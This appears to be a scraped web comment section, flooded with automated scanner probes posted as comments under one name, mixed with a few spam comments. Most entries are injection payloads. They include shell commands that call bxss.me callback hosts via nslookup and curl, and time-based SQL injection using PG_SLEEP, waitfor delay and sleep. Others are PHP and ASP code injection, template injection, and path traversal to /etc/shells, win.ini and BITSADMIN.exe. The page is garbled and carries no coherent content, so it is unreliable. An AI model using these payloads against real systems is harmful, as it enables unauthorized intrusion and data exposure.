XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     |(nslookup -q=cname hitghhrvofpfyc1e2c.bxss.me||curl hitghhrvofpfyc1e2c.bxss.me) |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     bxss.me |
XcwJRDFY
    
|
/etc/shells
    
|
c:/windows/win.ini
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
https://hilasontackshop.com/
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
'.print(md5(31337)).'
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY&echo laupwq$()\ entcif\nz^xyu||a #' &echo
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
BQxSZ4NV: eF4IfEO7
    
|
XcwJRDFY1UnhY74a' OR 286=(SELECT 286 FROM PG_SLEEP
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     ${10000445+10000430} |
';print(md5(31337));$a='
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
'"()&% |
XcwJRDFY
    
|
XcwJRDFY
     (nslookup -q=cname hitehwiohmgirfbcbe.bxss.me||curl hitehwiohmgirfbcbe.bxss.me)) |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     dfb{{98991*97996}}xca |
XcwJRDFY
    
|
XcwJRDFY
    
|
(nslookup -q=cname hitonwtiomeune41e8.bxss.me||cur
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7')); |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
Mickey
     An answer from an erxpet! Thanks for contributing. |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
'"()&%
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
products.aspx
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
|echo husnby$()\ pdrdck\nz^xyu||a #' |echo husnby$
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
hilasontackshop.com
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
"||sleep(27*1000)*pymfnc||" |
XcwJRDFY
    
|
XcwJRDFY"&&sleep(27*1000)*mtqqec&&"
    
|
XcwJRDFY
    
|
'+response.write(9634081*9386453)+'
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     ";print(md5(31337));$a=" |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
"&&sleep(27*1000)*uhuiix&&" |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY    
|
;(nslookup -q=cname hiticwsappqsf3b831.bxss.me||cu
    
|
XcwJRDFY
     "+response.write(9173429*9074816)+" |
XcwJRDFY
    
|
XcwJRDFY
     '+'A'.concat(70-3).concat(22*4).concat(119).concat(74).concat(114).concat(84)+(require'socket'
Socket.gethostbyname('hityr'+'meusnbfjb842b.bxss.me.')[3].to_s)+' |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     /../../../../../../../../../../windows/system32/BITSADMIN.exe |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
))))))))))))))))))))))))))))))))))))))))))))))))))
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
&(nslookup${IFS}-q${IFS}cname${IFS}hitqlefwntdch11
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
-1 OR 310=(SELECT 310 FROM PG_SLEEP(15))-- |
XcwJRDFY
    
"||sleep(27*1000)*hiibvk||" |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
Zaiyah
     Very valid, pithy, sucincct, and on point. WD. |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
if(now()=sysdate(),sleep(15),0)
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
matt
     eGSGo1 http://www.QS3PE5ZGdxC9IoVKTAPT2DBYpPkMKqfz.com |
XcwJRDFY
    
|
XcwJRDFY
    
|
gethostbyname(lc('hittr'.'bzvnhviaa982f.bxss.me.')
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     -1 OR 2+14-14-1=0+0+0+1 -- |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
bxss.me/t/xss.html?%00
    
|
sadgyL8O
    
|
XcwJRDFY
    
|
XcwJRDFY
     $(nslookup -q=cname hityxjynixcty58531.bxss.me||curl hityxjynixcty58531.bxss.me) |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY-1 waitfor delay '0:0:15' --
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
xfs.bxss.me
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
$(nslookup -q=cname hitdrudambzgf6c114.bxss.me||cu
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
products.aspx
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
e8UD5q6b
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%> |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     <% response.write(9173429*9074816) %> |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
(nslookup -q=cname hittggdvhvuot8415a.bxss.me||cur
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
-1)); waitfor delay '0:0:15' -- |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     <% response.write(9496096*9122985) %> |
XcwJRDFY
    
|
<% response.write(9361469*9127676) %>
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     &echo wnuyel$()\ mnjwti\nz^xyu||a #' &echo wnuyel$()\ mnjwti\nz^xyu||a #|" &echo wnuyel$()\ mnjwti\nz^xyu||a # |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
'A'.concat(70-3).concat(22*4).concat(108).concat(7
    
|
Mickey
     An answer from an erxpet! Thanks for contributing. |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
/etc/shells
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     ../../../../../../../../../../../../../../etc/shells |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
44MonBc1' OR 224=(SELECT 224 FROM PG_SLEEP(15))-- |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     &(nslookup -q=cname hityzguofgfqed0dc8.bxss.me||curl hityzguofgfqed0dc8.bxss.me)&'\"`0&(nslookup -q=cname hityzguofgfqed0dc8.bxss.me||curl hityzguofgfqed0dc8.bxss.me)&`' |
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     '"() |
${10000041+9999746}
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
|(nslookup -q=cname hitwxsmpoehxi3f2da.bxss.me||cu
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
'A'.concat(70-3).concat(22*4).concat(101).concat(8
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
    
|
XcwJRDFY
     12345'"\'\");|]* {
< |